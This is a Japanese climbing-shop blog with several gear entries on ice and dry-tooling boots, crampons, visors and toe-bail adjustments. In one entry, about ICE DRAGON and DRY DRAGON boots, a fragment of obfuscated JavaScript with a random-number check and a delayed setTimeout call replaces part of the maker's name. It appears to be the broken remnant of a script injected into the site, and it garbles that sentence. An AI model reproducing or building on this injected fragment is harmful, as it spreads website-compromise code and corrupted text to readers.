2018-19工場長日誌 075-076

今日は接着から。

この子はあの時のWater Tennie(ウォーターテニー)、今となっては貴重品なので木っ端微塵になるまで付き合います(笑)!。

で、SIROCCO(シロッコ)にVIZIR(バイザー)。コチラ、PETZL WORK純正のbolle Ver.

とはいえ、「PETZL WORK純正」と言えど、シロッコ用ではないので、ポン付け不可。

基本、両面テープ付けですが、治具で両面テープを安定させたり、

内側のネジ選んだりすると、色々物が増える・・・(笑)。

非常の収まりも良いPETZL WORK bolle Ver.ですが、弱点は現場での脱着が出来ない。ベースがないので、ネジと両面テープで完全固定。

そんな訳で、この組合せでのおすすめはコレ。MAMMUTさんのHelmet Holder Pro(ヘルメットホルダープロ)。

ジャストサイズで入るうえに、幅広のスライダープロテクターが、スライダーのレンズ干渉をガード!。なんて素晴らしい!!。

まぁ、この組合せ限定とも言えますが(笑)・・・。

ただ、来期は新型METEOR(メテオ)に新型バイザー『スクリーン』のオプション設定がある模様。

今までのSPORT純正バーザー残念すぎでしたらか、コレは期待出来る!?、かな?。

19/20FWな話し、その3:持込マッチング編<4>

で、ドライマニアの皆様にはコチラ。

セカンドポイントを完全にそぎ落とし、フロント1本勝負!!。

ただ、残念な事に、T-DRY(Tドライ)は、Raptor Crampon(ラプタークランポン)と同じ感じのフロント下がりです・・・。

そもそも、現行ラプターのフロントポイントは旧ラプターと同じ。一度消えましたが「最復活」で現在に至っています。

だから、どちらかと言うと「氷寄り」でドライマニアの皆様にはあまりかわいがってもらえません。

C社 BLADE RUNNER(ブレードランナー)のソレも氷では絶大な評価ですが、ドライでの評価は皆無。いわんや、ラプターのフロントポイントと同じ様な下さがりではドライマニアの皆様は満足せんでしょ・・・。

アイスもドライも水平時のフロントポイント角は同じです・・・。

ただ、所謂「ダウントゥー」!?、最先端はかぶりものの掻き込みスタイルなの!?。

まぁ、何やかんやでご紹介して参りましたが、26cm相当の足サイズの方なら、完全予約制にてサンプルお借り出来なくはないので、スタッフまでご相談下さい。

コッチは製品版が先日入荷したとの報告がありましたので、合わせてご相談下さい。

19/20FWな話し、その3:持込マッチング編<3>

使い所でユーザーニーズも異なります。

先ずはWIC(うぉーたーあいすくらいまー)向け仕様のコチラを検証。

セカンドの出具合など、REBEL ICE(レベルアイス)+ Raptor Crampon(ラプタークランポン)エクステネイル仕様ver.と比べても遜色なし。

フロントポイントはC社 BLADE RUNNER(ブレードランナー)のソレなんで、WIC向きです。

更に、セカンドポイントの出っ張り具合もそれなりで、押し当て力ありそーです!!。

19/20FWな話し、その3:持込マッチング編<2>

では、ビルドしてみましょう!。

ほら、超口開いた『暴走後覚醒エヴァ』じゃねぇ!?。

そんでもって、コッチが口開く前、『暴走前エヴァ』。

K島くんのREBEL ICE(レベルアイス)+ Raptor Crampon(ラプタークランポン)エクステネイル仕様ver.を並べるとこんな感じ。

入院中で暇なKくん、どーよ、たまらんだろ!!。もう少し検証しますから、ヲタのしみに!!。

19/20FWな話し、その3:持込マッチング編<1>

「イケそーかどーか靴持って会場入りして下さい」とのK島くん指示により準備万端。ブーツよし、工具よし、時間たっぷり!。

工場長がこーゆーことはじめると「変な人オーラ」全開なので、誰も近寄ってきませんが、色々試すには最適な環境です(笑)!。

コチラ、T-DRY(Tドライ)。DRY DRAGON(ドライドラゴン)用のクランポン。『暴走前エヴァ』と命名します。

そんでもってコチラがシンクロ率400%越、『暴走後覚醒エヴァ』。ICE DRAGON(アイスドラゴン)についている方。

ほれ、こーすれば、エヴァンゲリオン感が増します。

えっ!、伝わらない!?。そんなヲタ度足りない連中はコレ見とけ

19/20FWな話し、その2:フルートブーツ浅草編 3/3

で、つづいて先ずは、DRY DRAGON(ドライドラゴン)!!。初体験のローカットフルートブーツ。

もう、こーなるとフラットソールだな・・・(笑)。

で、お待ち遠様でした!。次回はマニアなら気になって仕方ない、『持込マッチング編』をお送りします!!。お楽しみに!!。

19/20FWな話し、その2:フルートブーツ浅草編 1/3

「何かイイ感じでしたよ」というK島くん情報を信じ、朝一MMさんブースのコレ狙い!。

KayLandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and社からリリース、ICE DRAGON(アイスドラゴン)とDRY DRAGON(ドライドラゴン)。

カーボンソールには雌ネジがビルドイン、昨日のアレに比べ極めて今っぽいね!!。

でも、ヒモで縛るあたりはアナログだわ・・・。

19/20FWな話し、その1:フルートブーツ池袋編

大抵は時系列的に書いておりますが、諸事情ございまして今回は新作フルートブーツの話題から。

その筋の人は興味津々、堅気にはまるで伝わらない・・・(笑)!。

イワタニさんブースより、LOWA社 ICE ROCKET GT(アイス ロケット)。
B社 RAPTOR CRAMPONS(ラプター クランポン)が標準装備となります。

「重量490g(UK8.0 片足)、サイズ展開UK4.0-11、予価@85,000+税」が現在のところの情報。

以前見たプロトタイプより遙かにソールの硬度は良くなっていますね。BOAシステムですが、コードにあまり遊びがないので、甲高な人は足を入れがやや難かなぁ~。

また、クランポンの取付はかなりアナログです・・・。

代理店サイドも、限りなく少量の発注と在庫と思われますので興味がある方はご相談下さい。サンプルサイズはUK8.0と思われる・・・。

2018-19工場長日誌 057(『ストイックなベール調整』編3/3)

そーなると、他にもやりたいのアルんだよねぇ~。

CT社 HYPER-SPIKE(ハイパースパイク)・・・。

デナリさん的には、小さい靴に不向きなブレラン救世主的存在でしたが、フロントベール穴が2つしかなく、ストイックな調整が厳しいのが悩み所のアレですわ・・・。

コレに先程のベールを組み込むとこんな感じ。

画像奥がノーマル、手前がBD Crampon Toe Bail、先っちょ削り取りVer.。

ベールが起きる事でブーツトップの迫り出しがなくなりました!!。

ポン付け可能なP社のパーツも悪くありませんが、

B社71mm位置で、

P社76mm、どーせ狭くしたいなら最狭はB社「Narrow先っちょ削り取りVer.」です。

まぁ、外れたりズレたりしてもトラブルがなければここまでストイックにしなる必要はないと思います。

ただ、オーバーパンツの裾が挟まったりするトラブルはなくないミラクルトラブルですので、色んな事考えておくのはイイ事です。

そー言えば、コチラの案件にも効果あるんじゃね?。

隙間を減らすことで、踏み込みの力のロスを減少。Wさん、第2号被験者の立候補お待ちしております(笑)!!。